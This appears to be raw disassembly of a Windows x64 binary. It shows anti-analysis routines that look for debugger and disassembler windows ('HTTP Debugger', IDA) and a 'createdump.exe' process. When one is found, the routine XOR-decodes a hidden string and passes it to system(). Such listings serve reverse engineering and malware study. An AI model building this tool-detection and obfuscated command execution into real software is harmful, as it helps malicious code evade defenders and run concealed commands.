mov rax, qword [rbp]
mov qword [rbp + 0xbe0], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xbe8], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xbf0], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xbf8], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0xbe0]
vmovdqa ymmword [rbp + 0xbe0], ymm1
jmp 0x14001db7c
lea rdx, str.HTTP_Debugger
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14001d83b
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0xc00]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc00], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc08], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc10], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc18], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0xc00]
vmovdqa ymmword [rbp + 0xc00], ymm1
jmp 0x14001db7c
lea rdx, str.ida64
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14001d93f
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0xc20]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc20], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc28], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc30], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc38], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0xc20]
vmovdqa ymmword [rbp + 0xc20], ymm1
jmp 0x14001db7c
lea rdx, str.IDA_v7.0.170914
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14001da43
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0xc40]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc40], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc48], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc50], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc58], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0xc40]
vmovdqa ymmword [rbp + 0xc40], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, str.createdump.exe
xorps xmm1, xmm1
lea rcx, [rbp + 0xfa0]
mov r8d, 0xe
movups xmmword [rbp + 0xfa0], xmm0
movdqu xmmword [rbp + 0xfb0], xmm1
call fcn.14000be70
lea rcx, [rbp + 0xfa0]
call fcn.140017de0
lea rcx, [rbp + 0xfa0]
mov rbx, rax
call fcn.140009290
test rbx, rbx
je 0x14001db85
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0xc60]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc60], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc68], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc70], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc78], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0xc60]
vmovdqa ymmword [rbp + 0xc60], ymm1
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor al, al
mov rcx, qword [rbp + 0xfe0]
xor rcx, rsp
call fcn.14004c980
mov rbx, qword [rsp + 0x1050]
movaps xmm6, xmmword [rsp + 0x1030]
add rsp, 0x1040
pop rbp
ret